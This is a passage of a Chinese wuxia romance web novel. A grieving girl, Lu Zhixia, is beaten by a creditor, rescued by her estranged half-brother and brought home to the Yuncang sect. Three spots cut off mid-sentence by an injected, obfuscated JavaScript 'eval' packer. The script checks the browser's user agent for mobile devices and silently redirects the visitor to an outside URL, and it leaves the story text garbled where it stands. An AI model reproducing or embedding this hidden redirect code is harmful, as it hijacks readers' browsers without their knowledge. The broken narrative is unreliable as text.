《夏有凉风》 1. 巨债 隆冬昏暗的白日里大雪纷飞。 宽阔的街道上积雪渐厚,包裹严实的行人瑟缩前行。摊贩也无心叫卖。往日热闹喧嚣的云炀城街头只剩单调沉闷的踏雪声。 “欠债还钱,天经地义。” 城南一处老旧宅院里闹出很大动静,附近过路之人纷纷侧目。 人有八卦的天性,尤其是街坊邻居,见到恶霸登门闹事,顾不上天气严寒,纷纷走出家门立在风雪里围观。 老宅大门敞开着,门上破旧蒙尘的匾额缠着白布,隐约可见两个掉漆的端正大字——莫宅。 风雪中,白布条随风翻飞,诉说着屋里人新添的沉痛哀伤。 街坊邻里和路人在附近七嘴八舌议论,不时朝门里指指点点。 “刚死了娘,债主就找上门,陆家丫头真是可怜。” “可怜?她可是城南一霸,厉害着呢!据说上个月还把王员外公子的手打折了,我看这些讨债的也得不到什么好处。” “惹了王员外还能活蹦乱跳从牢里出来的人,背后定有厉害的人物给她撑腰。” “可不是,死的这个陆夫人背景可不简单,过世的爹是武功盖世曾经统率武林的莫掌门,丈夫又是现任云苍派的掌门人。” 此言一出,更是激起不知内幕之的好奇心。 有人不解道:“那她一个风光无限的云苍派主母怎会幽居在此?而且过世至今也不见半个云苍派弟子露面?” 知情人说道:“据说陆掌门新纳的宠妾是他的初恋情人,他们还有个私生子,已经认祖归宗了。陆夫人曾被蒙在鼓里,得知真相岂能容忍?定是负气带着女儿离家出走的。” 一位邻居感慨道:“这陆掌门也是够绝,七年来从未亲自登门探望过母女二人,不爱也不休妻,白白耽误人家陆夫人大好年华。” 知情人士冷嗤道:“他娶的可是当年名震江湖的莫掌门的掌上明珠,掌门之位多半也是由此得来。若是光明正大休妻弃女,他不得被天下人戳着脊梁骨骂薄情无义的负心汉?” 听了许久八卦的一名路人摇头叹息,“男人三妻四妾很正常,这陆夫人也是傻,好好的云苍派不待,非要带着女儿跑到这破地方受罪。这不是成全了别人吗?” …… 围观之人越说越兴奋。老宅里动静陡然变大,还有打斗声传来,众人好奇地伸长脖子往里瞧。 “快追,别让她们跑了!” 咆哮声刚落,两个披麻戴孝的白衣少女从门里飞奔出来,皆是十五岁左右的年纪,模样气质却相差甚远。 当先一名杏眸粉腮的少女清丽可人,眼神机敏。后边跟上来的黑瘦丫鬟却略显憨讷,遇事一副慌张无措的模样,前边的少女拉着她一个劲儿往街上狂奔。 “在那边!” 院里追出几个手持棍棒的壮汉,骂骂咧咧朝街上两个少女背影追去。 “抓住陆知夏那个臭丫头给我狠狠打!”一个衣饰金贵的老者在几个伙计的搀扶下走出来,脑袋上还缠着带血的绷带。 见状,围观之人又开始私下议论。 福兴楼的钱掌柜虽已年近花甲,却是城里出了名的贪财好色之徒,陆家丫头被他看上恐怕难逃魔掌。 * 风雪中,街市上的平静很快被两个慌不择路奔逃的丫头打破。身后一群壮汉也嚷嚷着穷追不舍。一群人所过之处鸡飞狗跳、满地狼藉。 丫鬟小玉回头望了一眼,紧张道:“小姐,他们还跟着,我们能逃脱吗?” 陆知夏镇定道:“别怕,跟着我跑准没错。” 主仆二人熟门熟路穿过大街小巷,最后来到一处隐蔽角落,成功甩掉那群蛮不讲理的人。 大冷的雪天,主仆二人却跑出一身汗,靠着墙大口喘气。 四周很安静,小玉欣喜道:“那些人应该寻不到这里,我们安全了。” “今日勉强躲过去,往后呢?”陆知夏秀眉紧拧,直接往地上一坐,扯下头上白布擦汗。 小玉也跟着坐下歇息。 想到自己的境遇,陆知夏头疼道:“娘欠下这么大一笔酒钱,就算砸锅卖铁我也凑不出这么多银子。那个姓钱的又咄咄逼人。看来云炀城我们不能待了,必须尽快离开,等赚够银子再回来还债。” 小玉忧愁道:“我们人生地不熟的去哪赚钱?万一路上遇到坏人被卖了怎么办?” “怕什么,有我保护你。”陆知夏乐观道:“天大地大,总有我们的容身之处。无论如何,尽快离开这个是非之地再说。” 话音刚落,十几个手持棍棒的壮汉两面包抄堵住二人去路,慢慢围上来。 “臭丫头,这回看你往哪跑。” 为了要债,姓钱的这回雇的打手可不简单,陆知夏紧张得手心冒汗。 一辆华丽马车停在路口,伙计扶着额头还在流血的钱掌柜下车。 看到无路可逃的两个妙龄少女,钱掌柜讪笑道:“既然你们没钱还债,不如就拿自己的身子抵债。从今以后死心塌地跟着老爷我,保证有你们享不尽的荣华富贵,如何?” “呸。”陆知夏双手叉腰,瞪着钱掌柜骂道:“你一个半身进黄土的人居然还想老牛吃嫩草,也不怕全城的人耻笑。” 钱掌柜理直气壮道:“欠债还钱天经地义,没钱就用其他值钱的东西还。但莫宅一贫如洗,除了你们两个黄毛丫头值点钱,哪还有能抵债的东西?” 陆知夏道:“欠的不是一笔小数,你若肯宽限几年,我定然连本带利还你,何必如此咄咄逼人!” “等几年?还是几十年?”钱掌柜冷笑道:“等我死了你就不用还了是吧,小丫头倒是鬼精得很。” “我可从来没想赖账。”陆知夏道:“你若不放心我们可立字据,我陆知夏绝对不会少你一分钱,即便你不在了,我也会如数还给你的家人。” 钱掌柜嗤笑道:“蠢丫头,你知道那时利息翻了多少倍吗?这么大一笔银子,就算你累死累活赚一辈子也还不起。与其为了还债辛苦操劳,不如跟我回去享福?” 陆知夏还未表态,钱掌柜便朝一名壮汉使了个眼色。 眼看谈不拢,陆知夏拉着小玉矮身避开几个伺机扑来的壮汉逃跑。 钱掌柜恼火大喊:“臭丫头,你们跑不掉的!乖乖束手就擒还能少受点罪。” 陆知夏无视钱掌柜的嚎叫。她有些拳脚功夫傍身,暂时不至于束手就擒。 几个壮汉施展轻功跃到主仆二人面前,陆知夏挥舞着细胳膊小腿凭一身蛮劲同扑来的壮汉过招。好在今日运气颇佳,她撂倒两个反应略微迟钝的壮汉打开一道缺口,使劲将不会武功的小玉推出去。 “快走,晚上我们老地方见。” “小姐你要小心。”小玉回头看了一眼陆知夏,含泪往前跑。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083114|179450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能让那个丫鬟溜了!”钱掌柜大喊。几个壮汉即刻去追小玉。 陆知夏又被几个壮汉围攻,无暇拖住去追小玉的人。同这些满身横肉的壮汉搏斗十分费劲,没过多久她便手脚酸痛,精疲力尽。 打斗间,一个壮汉伺机从后边勾住陆知夏脖子,大手在她腰间揩油,坏笑道:“这丫头臀翘腰细,掌柜的今晚有福了。” 闻言,在场男子均放声大笑。 被人言行冒犯,陆知夏俏脸通红,狠狠朝身后壮汉的脚背上蹬去。 “哎哟!”壮汉痛呼一声松手,抱脚在原地直跳,“臭丫头,一会儿抓住你看爷们如何收拾你!” 其他壮汉转眼又扑来,陆知夏转攻为守被逼到墙角。之前她已耗费太多体力,眼下软绵无力的拳头难以与这么多壮汉抗衡。 稍不注意,陆知夏被人一拳打倒在地,耳鸣目眩。一名壮汉揪着她的长发把她从地上提起。 陆知夏吃力张开双眼,面前数张猥琐的笑脸正看着她。 钱掌柜得意道:“小美人,老实跟我回去做第九房小妾吧,爷一定好好疼你。” 陆知夏啐了一口血沫,咬牙道:“我宁死也绝不委身于你这个老色鬼!” “不识抬举的臭丫头。”钱掌柜怒喝道:“给我狠狠打,留半条贱命卖到宜春楼。” 得令,壮汉们纷纷捞起袖子对着地上的少女一顿痛揍。 陆知夏已无还手余力,抱头趴在雪地上任人毒打。这一带偏僻,即使呼救也没用,她索性省点力气。 鲜血沿着额角滴进雪地里,陆知夏绝望闭上双眼。娘留下这笔巨债莫非就是想让她早点下去陪她?这下好了,她们母女俩很快就能在阴曹地府团聚。 “什么人?” 钱掌柜只见头顶掠过一道黑影,伴随一阵令人胆寒的利刃出鞘声,几道强劲剑气扫过,几个大汉惨叫着倒在地上,身上各有一处血口,喷涌的鲜血染红雪地。 来人出剑极快,寒光闪烁间断肢横飞,惨叫不断。眨眼间余下壮汉也尽数倒地。雪地到处是醒目鲜血,腥气逼人。 钱掌柜身边的伙计捞起袖子冲上去,还没到黑衣男子跟前便被迎面而来的剑气砍倒。 清冷的目光扫过地上一片抽搐不止的壮汉,最后落在钱掌柜老弱的身板上。 “你们该庆幸这是在城里,否则……”黑衣男子清冽醇厚的嗓音一沉,所有人的心也跟着提起来。 钱掌柜目瞪口呆地望着片刻间击败十几名壮汉的黑衣男子,双腿微微发颤。 这名黑衣男子明明才二十左右的年纪,眉眼却已透着看淡世事的冷漠疏离,平日定也是个不苟言笑之人。但他偏生得一副英俊面容,身材挺拔修长,若无周身那慑人杀气当是位玉树临风的清贵公子,令人过目难忘。 更令钱掌柜惊讶的是,同样伫立在漫天风雪中,周身隐有真气涌动的男子一身黑色锦缎长袍竟未沾染半片白雪! 黑衣男子目光一沉,不怒自威的气势令钱掌柜不敢直视,含胸低头。 趴在雪地上缓过劲来的狼狈少女动了动。陆知夏吃力抬头,面前一双黑长革靴映入眼帘。她好奇仰头,无奈此人实在太高,只勉强看到他悬于腰间的令牌便无力趴下。 只是短短一瞬,陆知夏还是看清了那道白玉云纹令,他是云苍派的人。 陆知夏苦笑,事到如今云苍派还有人在乎她的生死吗? 2. 冤家(上) 钱掌柜平日在城里作威作福惯了,上面又有人罩着,慢慢挺直腰杆对黑衣男子道:“这丫头欠钱不还,少侠莫要多管闲事。” “我偏要管,你又当如何?”话音刚落,黑衣男子足尖轻点,抬剑朝钱掌柜面门直刺而来。 “啊!”钱掌柜惨叫一声蹲地。 一道剑气扫过,他头顶金色发冠被整齐削成两半,应声落地,满头花白发丝也尽数散落。 “就这点胆子也敢强抢民女。”黑衣男子冷嗤。刚刚那一剑若非他故意削偏,落在地上的便是对方项上人头。 钱掌柜咽了咽唾沫,又摸摸自己完好的脑袋,顿时松了口气。冷冽的剑气从他头上扫过那一瞬,那种大限将至的感觉令他后怕不已。 “小人知错,往后再也不敢强抢民女了,请大侠饶我一条贱命吧。”钱掌柜不停朝黑衣男子磕头求饶。 黑衣男子指了指趴在地上的陆知夏,说道:“她欠你多少银子,我替她还。” 闻言,陆知夏抬头望向这个慷慨替她解围的云苍派弟子。虽然仔细看他感觉有一丝眼熟,但她想不起来云苍派有这号厉害人物。难道他是爹或师叔新收的弟子? 钱掌柜犹犹豫豫举起右手,慢慢张开五指,“她欠我……五,五百两。” “多少?”黑衣男子长眉一拧,俯身冷冷看着钱掌柜。慑人的气势顿时压得对方踹不过气。 钱掌柜吓破胆,抱头惊慌失措道:“五十两,真的是五十两,小人不敢撒谎了。” 闻言,陆知夏顾不得周身疼痛捶着雪地大骂道:“姓钱的,你果然是个骗子!之前我就纳闷,我娘极少去你福兴楼怎么可能欠下五百两。况且你的酒大多以次充好,你居然好意思狮子大开口,分明是想趁火打劫!” 黑衣男子倒是二话不说摸出一袋银子扔给钱掌柜,“她欠你的账还清了,你欠她的怎么还?” 钱掌柜一脸疑惑地抬起头,“我欠她什么?” 黑衣男子沉声道:“这顿打她不能白挨吧?” 陆知夏一怔,没想到这个英俊男子不光替她还债,还要替她出这口恶气,芳心顿时对他好感倍增。 钱掌柜将还未焐热的钱袋又双手送回,跪着哀求道:“这银子我不要了,就当是赔她的汤药钱,求少侠放我一条生路。钱某家里上有八十岁老母,下有嗷嗷待哺的孩子,不能死啊。” 陆知夏顿觉好笑。这老色鬼为了求生,居然连入土多年的老娘都搬出来了。 “若你真的在乎你的家人,就不该在外为非作歹。”黑衣男子手握长剑,对着钱掌柜撑着雪地的左掌刺下。 “啊,我的手!” 长剑穿过掌心扎进雪里,喷涌而出的鲜血溅了钱掌柜一脸。他惨叫一声晕了过去。 黑衣男子收剑,对地上其他为非作歹的壮汉道:“我与姜城主相熟,日落前你们最好自己滚去府衙自首,否则……” 话音一沉,纵是魁梧的壮汉也忍不住浑身发抖。 去官府投案总好过死在他剑下,壮汉们渐渐拱手作拜,“多谢少侠不杀之恩,我们这就去自首。” 壮汉们不敢拖延,相互搀扶着起身,蹒跚离去。昏迷不醒的钱掌柜也被他们一并扛走。 债务已还清,坏人也被赶跑,陆知夏长长松了口气。 “你还要在雪地上趴多久?”头上传来黑衣男子清冷的声音。 黑色革靴又来到面前。陆知夏翻身仰面对上一双幽夜般深邃的眸子,不由一愣。 黑衣男子主动俯身朝呆愣的少女伸出手,“我扶你。” 面对这位冷峻却热心的少侠,陆知夏鬼使神差地抬起手。还未触及那只修长大手,对方先她一步握住她手臂,拉她坐起来。 周围血腥味儿刺鼻,黑衣男子扶她到一旁屋檐下干净的地方坐下治伤。 冬日穿衣较厚,陆知夏只是受了些皮外伤。黑衣男子用干净的帕子为她擦去脸上的血,给她上药包扎。 虽然黑衣男子始终一副清冷淡漠的神情,但陆知夏心里却暖洋洋的,暗暗猜想:“莫非他是老天爷派来拯救我的福星?” 心花怒放时,陆知夏含羞带怯地看着黑衣男子,“多谢少侠相救,不知少侠尊姓大名?” 黑衣男子看她精神状态不错,断定她伤得不重。替她包扎好,他起身擦手,淡淡道:“在下云苍派,陆子辰。” 闻言,陆知夏如遭雷击僵在原地,心里也有什么东西跟着一起碎了…… 伤心往事猛然被这个名字唤起,陆知夏欲哭无泪。她遇上的哪是什么福星,分明是煞星! 陆知夏的生父,即现任云苍派掌门陆道离与发妻只有陆知夏一个掌上明珠。但八年前的那场武林大会却给幸福的三口之家带来危机。 陆掌门在会上邂逅自己的初恋情人姜氏。半月后,他竟光明正大带姜氏和一名沉默寡言的少年回山,还对他们宠爱有加。 陆知夏因为多出一个同父异母的大哥,名头上变成了二小姐。从此父爱和家里的好东西也不再是她的专属。她幸福美好的童年也随这对母子的到来宣告终结。 眼下这位自称陆子辰的云苍派少侠便是陆知夏同父异母的大哥,也是她曾经最厌恶之人。 陆知夏永远不会忘记他来到云苍后是如何欺负她的。尤其是他们第一次见面时他对她的恐吓,每每想起都让她恨得咬牙切齿。 那时听说家里有贵客要来,她早早起床梳妆打扮,还换上了新衣裳,为的是给姨娘和哥哥一个好印象。谁知刚到大门便撞上一个神情冰冷的少年。少年非但没有向她赔礼道歉,还恶狠狠瞪着她,咬牙切齿道:“我会夺回属于我的一切,你们一个也逃不掉。” 年幼单纯的陆知夏当场吓呆,回去后躲在屋里哭了几日,从此再也不敢靠近这个可怕的人,也从未喊过他一声大哥。但之后一段日子里,即使她刻意回避,陆子辰依然不断欺负她,还害她被父亲责骂。 总之,那对母子回山后,陆知夏和母亲再也没笑过。委屈压抑的日子持续近半年,直到父母大吵一架分居两地才结束。 七年后再见,陆知夏心中恨意依旧难消。先前对他的好感顿时烟消云散,从头到脚看他哪里都不顺眼,态度也变得冷淡下来。 陆知夏心想,女大十八变,七年未见,陆子辰定也不认得如今的她,否则刚才怎会好心相救? 想起家里还有更重要的事,陆知夏不想招惹是非,于是装做不认识他,一番演技十足感人肺腑的感谢后便找借口开溜。 陆子辰望着少女匆匆离去的背影淡淡摇头,转身提剑离开。 * 陆知夏来到相约的老地方并未见到小玉。她担心小玉被钱掌柜的爪牙抓走,于是又去福兴楼一带打听,依然没有小玉的消息。 没有消息有时候也是一种好消息。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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陆知夏撇撇嘴,“那些人仗势欺人,活该被打。” 孙婆婆足不出户还不知陆夫人已过世,叹息道:“可你这个样子回家一定又挨罚。上回你折断别人的手被你娘吊起来打,三天下不了床,难道教训你都忘了?” “我没忘……”想到今后不会有人再管她,陆知夏心里一阵难过,静静坐了许久。 沧桑的大手轻轻穿过乌黑发亮的青丝,孙婆婆耐心给陆知夏整理松散的发髻,“以后不许跟人动手,否则哪家公子敢娶你。” 陆知夏咕哝道:“嫁不出去就算了,反正我一个人也饿不死。” 孙婆婆道:“咱们女人迟早得找个依靠,你还小,不懂得世道艰难。” “我当然知道……”美丽的杏眸垂下,陆知夏不禁又想起下山七年来时常忍饥挨饿、受人欺负的艰辛生活。 那时她们娘俩初到云炀,不久母亲便开始酗酒,家里的事也一概不管。若没有好心街坊的照拂,那时笨手笨脚的她早就饿死了…… 临走前,陆知夏将准备的干粮放在孙婆婆卧房里,嘱咐她按时吃东西,少外出走动。孙婆婆铭记于心,浑浊的眼中又盈满泪水。 外头风雪已停,陆知夏独自往回走。 这世上的可怜人太多,她也是其中一个,但能尽自己绵薄之力帮一把的她也绝不吝啬。 可有时,她也好想有谁来帮帮她…… 3. 冤家(下) 莫宅斑驳古旧的大门依旧敞开着。宅里值钱的东西已尽数拿去典当,一贫如洗的地方连贼都懒得光顾,更没什么值得提防的。 陆知夏正要进门,远远看到一群白衣弟子在自家院里忙进忙出,厅上灵堂都设好了。她恍然大悟,原来刚刚在街上碰到陆子辰并非偶然。云苍派的人平日不出现,这个时候来得倒快。 “小姐。” 清脆的声音吓了陆知夏一跳,小玉朝她跑来,确认她毫发无伤才松了口气。 小玉也未受伤,她在逃亡的路上恰好被云苍派弟子所救,也是他们将她回莫宅。 陆知夏觉得世上没有这么巧的事,说不定她们早被云苍派的人盯上了。还来不及细想,小玉便拉着她往门里走,欣喜道:“小姐,你日日期盼的事成真了!云苍派的人这回是来接你回家的。” 闻言,陆知夏陡然停下脚步,垂眸掩去眼底忧伤,“太晚了,如今我一点也不想回那个家。” 小玉不解。以前陆知夏每日都要在门口坐上一个时辰,虽然嘴上不说,大家都知道她一直盼着家里人来接她回云苍山。如今为何又改变主意了? 陆知夏拉小玉回房间。身边经过的白衣弟子不认识如今的陆知夏,又忙着料理陆夫人后事,并未理会二人。 回房后,陆知夏钻进床底,从暗格里取出这些年辛苦干活攒下的银子和一支及笄时母亲送的玉簪。这些本该用来料理陆夫人后事的,如今云苍派出面操办,她打算带着这笔省下的银子与小玉离开这个是非之地。 小玉见陆知夏把私房钱都挖出来,惊讶道:“小姐,你这是做什么?难道你真不打算回家?” 陆知夏眉眼低尽是忧伤,凄声道:“家?我早就没有家了,在哪里不是一样?” “夫人尸骨未寒,我们扔下她离开不好吧。”小玉仍是不理解陆知夏的决定。 陆知夏道:“这么做确实不妥,可我一个人更不想回山上那个冰冷的家。” 小玉见陆知夏愁容满面,知道从前她在那个家定然过得不好,遂尊重她的决定。 家徒四壁,二人随意收拾一番便溜出门。 * 主仆二人行色匆匆,才离开莫宅不远便迎面遇上一名持剑的黑衣男子。那挺拔的身姿,英俊清冷的容颜,不正是陆知夏避之不及的冤家陆子辰吗? 陆知夏慌忙躲到小玉身后。小玉痴痴望着从面前经过的英俊男子,丝毫没听到身后的人提醒她快走。 陆知夏狠心掐了小玉一把。小玉惊呼一声,引来男子侧目。 不久,陆知夏以为冤家走了,慢慢露出两只眼睛偷瞄,却不慎撞上对面一道清冷锐利的目光,登时汗流浃背。 “陆少侠,真巧啊,咱们又见面了。”陆知夏讪笑着从小玉身后走出来。 “巧。”陆子辰神情依旧清冷严肃。 陆知夏从包袱里摸出一支羊脂玉雕琢而成的山茶花发簪递给陆子辰,说道:“感谢陆少侠今日替我解围,这支簪子虽旧,但当掉肯定不止五十两,多出来的就当是还你的人情。” 陆子辰没有接,反而盯着她肩上的包袱,“你要走?” 陆知夏硬将玉簪塞进他手里,微笑道:“从此咱们各不相欠,后会无期。” 看着那抹未达眼底,甚至带着一丝狡黠的笑意,陆子辰攥紧手中发簪,一把拽住行将离开的陆知夏。 “你要装到什么时候?陆,知,夏。” 紧扣着她手腕的男子气势慑人,陆知夏咽了咽唾沫。为防他试探她,她抱着侥幸心态继续装蒜,“陆少侠认错人了,我叫小花,是小玉的朋友。” “小花?”陆子辰锐利的目光往旁边一扫,吓得性子单纯的小玉直哆嗦。 陆知夏镇定道:“家主已死,小玉现在是自由身,我来带她回乡。” 话音刚落,陆知夏便被陆子辰拽着往附近人家走去,“不承认也没关系,咱们去听听街坊邻居怎么说。” 路边摆茶摊的老伯见二人拉拉扯扯从莫宅方向走来,好奇心起,笑问道:“陆丫头,这位英俊公子是你家亲戚?” 陆知夏还未来得及张口,陆子辰抢先道:“老伯,这个丫头可是陆夫人的女儿陆知夏?” “对啊。”老伯不解地看着陆子辰,“你们云苍派的人怎会连自家人也不认识?” 陆子辰低头看着陆知夏,清冷目光带着几分得意,答道:“我是她同父异母的大哥,多年未见,怕被人忽悠,故而找街坊邻里核实。” 老伯笑道:“那公子放心,我在这儿摆了十几年的茶摊,附近的人都认识,你身边这位确实是陆夫人的女儿。你若还是有疑,其他街坊也可以作证。” 言罢,茶摊上的顾客纷纷点头。 谎言被当场揭穿,陆知夏心里暗暗叫苦。无赖上门挑事的时候街坊邻居没人敢吭声,这会儿他们倒是热心。 “这回你还有什么话说?” 扣着皓腕的手劲加重几分,陆知夏感觉腕骨快要被这冤家捏碎了,痛呼求饶道:“是是是,我是陆知夏,你快放了我。” 陆子辰并未松手,转身拽着陆知夏回莫宅。 小玉慑于陆知夏大哥的威严,从始至终不敢说话,默默跟着二人。 路上,忍无可忍的陆知夏大骂道:“陆子辰,你这个歹毒的家伙,再不放手我咬死你!” 陆子辰冷嗤,“方才还叫我恩人,转眼我就成了歹毒之人?” 陆知夏啐了一口,“你欺负弱女子,算什么好汉?” 陆子辰挑眉,“你是弱女子吗?我看你打架的时候力气不输寻常男子。” “你……”陆知夏气得直咬牙。他一定早就看到她被人欺负,故意等她被打个半死才出手相助,报复仇人的同时又能出风头,真是卑鄙! 拌嘴间,三人已回到莫宅。 院子里的白衣弟子见到陆子辰皆抱拳行礼,恭敬唤他一声“大师兄”。 陆知夏十分惊讶,“大师兄不是李暮吗?怎么变成了他,你们是不是搞错了?” 这几个弟子入门较晚,面对陆知夏的疑问不知如何作答。陆子辰将陆知夏拽进灵堂才松手离开。 * 灵堂里白幔浮动、香火缭绕。陆夫人的遗体已入殓,棺材和灵位摆在堂中,一名白衣男子跪在灵前烧纸钱。 陆知夏含泪慢慢走向母亲灵前,后悔那晚没有拦着母亲出门喝酒,否则她也不会失足落水。昨日一早官差将让她去义庄认领母亲遗体,刚回家不久债主就上门讨债,她们还来不及悲伤便忙着变卖物品筹钱,连母亲后事都无暇料理。若不是云苍派的人帮忙,这会儿母亲遗体还露天摆在堂上…… 听到脚步声,男子回头,端正温厚的模样正是陆知夏记忆中的大师兄李暮。他比陆知夏大十岁,在陆知夏两岁时拜入云苍派,由于天资颇佳成了陆掌门收的第一个亲传弟子。陆子辰没来云苍派前,陆掌门待他如一家人,这些年常来看望陆夫人的也是他。因此,陆知夏与他并未生疏。 李暮也认出陆知夏,看着她头上缠着绷带,神情担忧道:“知夏,你去哪了?怎么弄成这副样子?” “大师兄。”看到故人,陆知夏眼眶微红。今日那些糟心事过去便罢,她不想在娘的灵前提起,只感谢他帮她料理母亲后事。 简单叙旧一番,二人静静跪在灵前烧纸钱。灵堂里肃穆冷清,一派主母过世,主动前来祭拜的人寥寥,陆知夏忽然有所感触,杏眸又凝着泪水。 李暮轻声安慰道:“师娘走得太突然,你要坚强。” “嗯。”但刚答应眼泪就夺眶而出,陆知夏觉得自己很没用。 李暮道:“师娘过世,师父派我们来接你回山,往后你不用再过这种苦日子。” 提起山上那无情无义的爹,陆知夏忍不住扑到李暮怀中放声大哭。 “我不回去!你们回去告诉那没良心的爹,就说我也死了。”陆知夏嘟着小嘴,显然还恨陆掌门这些年对她们母女二人不管不顾。 “不能这么咒自己。”一向温和的李暮沉下脸来,“再说,大家都见过你,我们怎能合伙骗师父?” 陆知夏没好气道:“娘不在了,与其回去成天看那对母子在我面前耀武扬威,我还不如去流浪。” 李暮道:“江湖险恶,你一个刚及笄的小姑娘在外漂泊很危险。云苍派毕竟是你的家,回去至少衣食无忧。” “不回!不回!”陆知夏撒起娇,转身向门外跑去。 “去或留可由不得你。”门外一道挺拔身影挡住陆知夏去路,陆子辰面色不善地看着她。 陆知夏不惧威压,大声道:“好狗不挡道,你给我闪开!” 陆子辰未退让分毫,冷声道:“多年不见,你本事没长,脾气倒是见长。” 陆知夏叉腰道:“你以为我还是当年那个任你欺凌不敢反抗的柔弱女孩吗?我警告你陆子辰,少来惹我,否则我让你好看!” 话音刚落,陆知夏感觉身上被人点了几处,立时身不能动,口不能言,像块木头一样杵在原地。 “吵死了。”陆子辰揉揉耳朵,眉眼间一片厌恶之色。 竟敢偷袭点穴,陆知夏柳眉倒竖,凶巴巴瞪着陆子辰。 临走前,陆子辰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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穴道忽然解开,陆知夏浑身一松累倒在小玉身上。缓了缓,她指着陆子辰远去的背影向李暮控诉:“大师兄,今日他的所作所为你都看到了,还没回去他就欺负我,回去还得了?” 李暮也不知如何调和这对冤家兄妹的关系,苦口婆心道:“子辰毕竟是你大哥,严厉却不会害你,不必过度忧虑。” 陆知夏皱着小脸,显然不赞同这个说法。方才若不是李暮出言相劝,说不定她要站到穴道自动解开为止。 * 闹了一日,陆知夏浑身脏兮兮的,又饿又累。 回房沐浴后,李暮端来热气腾腾的饭菜,陆知夏和小玉风卷残云般吃完。连日为债务发愁,她们已经很久没有尽兴饱餐一顿了。 饭后,李暮为陆知夏头上的伤换药。陆知夏乖巧配合地坐在他面前,恍如七年前那个文静腼腆的女孩。 李暮温声道:“知夏,明日随我们一同回云苍吧。” 陆知夏犹豫。 李暮道:“师娘是师父明媒正娶的妻子,你是云苍派的嫡小姐,难道你不想一起送她回山,看着她入土为安吗?” 一番话令陆知夏陷入沉思。她心有不甘,却也有自己的担忧,逐渐握紧拳头。 李暮双手轻轻搭在她肩头,耐心劝道:“回家吧知夏,师父这些年一直惦记着你们。他也曾写信让师娘回去,只是师娘不肯。昨日师父收到噩耗即刻派我们下山,这足矣说明他是在意你们的,你就给他一次弥补的机会好不好?” 沉默许久,陆知夏含泪点头,“那我再信他一次,希望他不要让我失望。” 李暮摸摸陆知夏的头,微微一笑,“今晚你留在屋里好好休息,伤痕累累的不宜熬夜守灵,师娘看到也会心疼的。” 陆知夏点头,起身送李暮出门。回来时,桌上多了一个白色小瓷瓶,陆知夏望向敞开的窗户,外边雪花纷落,那个人来了又走,为何始终不肯露面? 小玉进屋给陆知夏铺床,看到桌上熟悉的小瓷瓶,问道:“小姐,那个贴心的神秘人又出现了?你看到他了吗?” 陆知夏摇头。 小玉略显失望,不禁猜测道:“这个神秘人莫非是神仙,不然为何总知道你受伤的事,还及时送来上好的伤药。” “你是不是话本看多了,这世上哪有神魔鬼怪。”陆知夏弹了一下小玉额头。 小玉揉了揉额头,老实去铺床。 陆知夏暗自揣度,那个神秘人消息如此灵通,说不定是丐帮的人。 不管他是谁,他默默送药不求回报一定是个心地善良之人。光冲这份心意,未来他们有幸相见她也愿意同他做朋友。 熄灯后,陆知夏尚无睡意,起身走到窗边最后一次欣赏莫宅的月色。 在云炀城七年的点点滴滴从眼前飞快闪过,陆知夏百感交集。七年吃的苦虽多,但她也学到了许多在山上学不到的东西,人也变得更坚强勇敢了,这次回去她一定不会再让自己受欺负。 望着夜空里倒挂的弦月,她双手合十祈愿,希望娘的在天之灵保佑这次她的选择是对的。 4. 归来 翌日无雪,午后暖阳微现。云苍派高大气派的山门前来了一行人。 值守山门的弟子上前,向当先一匹黑色骏马上的挺拔身影抱拳行礼,“恭迎大师兄回山。” 陆子辰淡淡点头。后边队伍随他继续前进。 下山办事两日,回来的队伍中却多了一辆马车和一口棺材。待队伍走远后,守山弟子窃窃私语。 马车窗帘挑起一角,露出半张清秀小脸。小玉好奇瞧着外边雪景,回头欣喜道:“小姐,我们快到了吗?” 太久没坐马车,一路行来陆知夏周身不适,蔫蔫靠在车壁上,说道:“这才到山脚,上山还得走一阵子。” “小姐,云苍派有多大?弟子多不多?你爹陆掌门是个什么样的人?凶不凶?” 小玉是陆夫人四年前在云炀城街边捡回来的小乞丐,此前从未接触过大户人家,首次来武林六大门派之一的云苍派,心中不由好奇激动,连连发问。 陆知夏身子不适,无意一一为她解答,敷衍道:“一会儿到了你自己看就清楚了。我离家多年,很多东西或许都不再是记忆里的样子。” 小玉知道陆知夏没心情,转头看回窗外,自己慢慢感受。 云苍派坐落于云苍山半山腰至山顶间,一座座宏伟建筑依山而建,抬头望去层层叠叠的琉璃瓦檐恢宏气派,令小玉惊叹不已。 约两刻钟后,队伍沿着蜿蜒山路来到一处已清除积雪的大理石广场上。小玉眼前一亮,望着不远处由两只精神抖擞的大石狮镇着的朱红大门惊叹,“小姐,你家真气派。” 陆知夏仅“嗯”了一声,眼皮都没抬。 队伍还未到大门前,门中有序走出两列手持长剑的白衣弟子。最后缓步跨出门槛的是一名高冠束发,神情威严的白袍长者。他淡定从容地来到阶前,神色复杂地望着走来的队伍。 队伍在大门前停下,回来的弟子上前朝阶上长者抱拳行礼,恭敬道:“拜见掌门。” 陆掌门淡淡点头,威严深沉的目光越过众人落到后边的马车和棺材上。 陆子辰的任务已完成,登上石阶来到陆掌门身边,“爹,夫人和知夏已照您的意思都带回来了。” “这几日下雪,辛苦你替为父跑这趟。”陆掌门轻拍儿子的肩,眼中满是慈爱。 阶上父子二人在说话时,车夫挑开帘子提醒还未睡醒的陆知夏,“二小姐我们到了,请下车。” 